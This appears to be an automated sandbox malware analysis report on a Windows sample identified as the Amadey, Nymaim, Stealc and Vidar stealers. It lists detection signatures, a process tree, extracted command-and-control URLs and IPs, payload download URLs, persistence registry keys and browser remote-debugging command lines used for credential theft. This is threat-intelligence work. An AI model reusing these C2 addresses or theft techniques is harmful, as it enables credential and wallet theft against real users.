Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1566419
MD5:	f9e8c178565263aaa83c1f3bb392bd90
SHA1:	634e3b6b849af9f8a3f7192fcfd77e761a1b1b11
SHA256:	bf9612df7ae108f00c42fe875dccee3da8988049d505e1ac08ab848eec5d52c3
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Nymaim, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Nymaim

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 3604 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F9E8C178565263AAA83C1F3BB392BD90)

chrome.exe (PID: 5280 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4064 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2252,i,2575064197677187059,9976136192055710644,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7700 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7912 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2240,i,13998815529808110965,14487419510429948634,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 5024 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\AEBKFIJEGC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AEBKFIJEGC.exe (PID: 1396 cmdline: "C:\Users\user\Documents\AEBKFIJEGC.exe" MD5: F87F09FFDBAE1413958D36C0355A15BA)

skotes.exe (PID: 2960 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: F87F09FFDBAE1413958D36C0355A15BA)

msedge.exe (PID: 7940 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7452 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2236,i,13329737199814142274,14700275200820245279,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 2656 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F87F09FFDBAE1413958D36C0355A15BA)

skotes.exe (PID: 8084 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F87F09FFDBAE1413958D36C0355A15BA)

77d2de4f7b.exe (PID: 7072 cmdline: "C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe" MD5: 870C92CF89253BAEAF80574AAAD15ADC)

c3e4899de4.exe (PID: 5076 cmdline: "C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe" MD5: 91042593292BABA6CE50F767911859E1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Nymaim	Nymaim is a trojan downloader. It downloads (and runs) other malware on affected systems and was one of the primary malware families hosted on Avalanche. Nymaim is different in that it displays a localized lockscreen while it downloads additional malware. Nymaim is usually delivered by exploit kits and malvertising.	No Attribution	https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/ https://bitbucket.org/daniel_plohmann/idapatchwork https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/goznym/ https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim	https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Nymaim

{"C2 addresses": ["92.63.197.221", "92.63.197.221", "92.63.197.221", "92.63.197.221"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000002.2864178110.0000000000B91000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.3565269812.0000000000B91000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2823789003.0000000005300000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2826762695.0000000000AF1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.3548213235.0000000004D00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000013.00000002.3570999411.0000000000D09000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x8b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000002.3565368879.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000003.2234834361.0000000005630000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000002.3582703563.0000000004B50000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000013.00000002.3582703563.0000000004B50000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2790206545.0000000000ED1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2792859084.000000000197E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000003.3268275639.00000000052F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2783806742.0000000004890000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000003.2820703698.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.2863937993.0000000000B91000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 3604	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3604	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3604	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3604	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author
19.2.77d2de4f7b.exe.400000.0.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
19.2.77d2de4f7b.exe.4b50e67.1.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
19.3.77d2de4f7b.exe.4d00000.0.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
19.2.77d2de4f7b.exe.400000.0.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
17.2.skotes.exe.b90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.skotes.exe.b90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.skotes.exe.b90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.AEBKFIJEGC.exe.af0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8084, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c3e4899de4.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3604, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 5280, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8084, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c3e4899de4.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T07:39:32.683068+0100	2028371	3	Unknown Traffic	192.168.2.6	50027	172.67.165.166	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T07:39:18.040585+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50019	185.215.113.43	80	TCP
2024-12-02T07:39:26.672199+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50025	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T07:37:22.506635+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49724	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T07:37:22.385232+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49724	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T07:37:22.845255+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49724	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T07:37:24.665150+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49724	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T07:37:22.980055+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49724	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T07:37:21.917965+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49724	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T07:39:05.784123+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49989	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T07:39:16.614020+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49996	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T07:39:10.371460+0100	2803305	3	Unknown Traffic	192.168.2.6	50001	31.41.244.11	80	TCP
2024-12-02T07:39:19.556273+0100	2803305	3	Unknown Traffic	192.168.2.6	50024	185.215.113.16	80	TCP
2024-12-02T07:39:28.221361+0100	2803305	3	Unknown Traffic	192.168.2.6	50026	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T07:37:25.471150+0100	2803304	3	Unknown Traffic	192.168.2.6	49724	185.215.113.206	80	TCP
2024-12-02T07:37:52.640318+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-02T07:37:54.587925+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-02T07:37:55.924824+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-02T07:37:57.138784+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-02T07:38:00.749129+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-02T07:38:01.878061+0100	2803304	3	Unknown Traffic	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-02T07:38:07.872227+0100	2803304	3	Unknown Traffic	192.168.2.6	49859	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.phpvx	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllC	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpge	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dllz	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpbs	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php1369323ae2e65563c024a986d411Extension	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 00000011.00000002.3565269812.0000000000B91000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2792859084.000000000197E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 19.2.77d2de4f7b.exe.400000.0.unpack	Malware Configuration Extractor: Nymaim {"C2 addresses": ["92.63.197.221", "92.63.197.221", "92.63.197.221", "92.63.197.221"]}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.16/steam/random.exe1395d	Virustotal: Detection: 16%			Perma Link
Source: http://31.41.244.11/files/unique2/random.exe60	Virustotal: Detection: 15%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 34%
Source: file.exe	Virustotal: Detection: 38%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1011214001\74cb638a83.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C946C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C946C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.6:50027 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2830738234.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2830738234.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
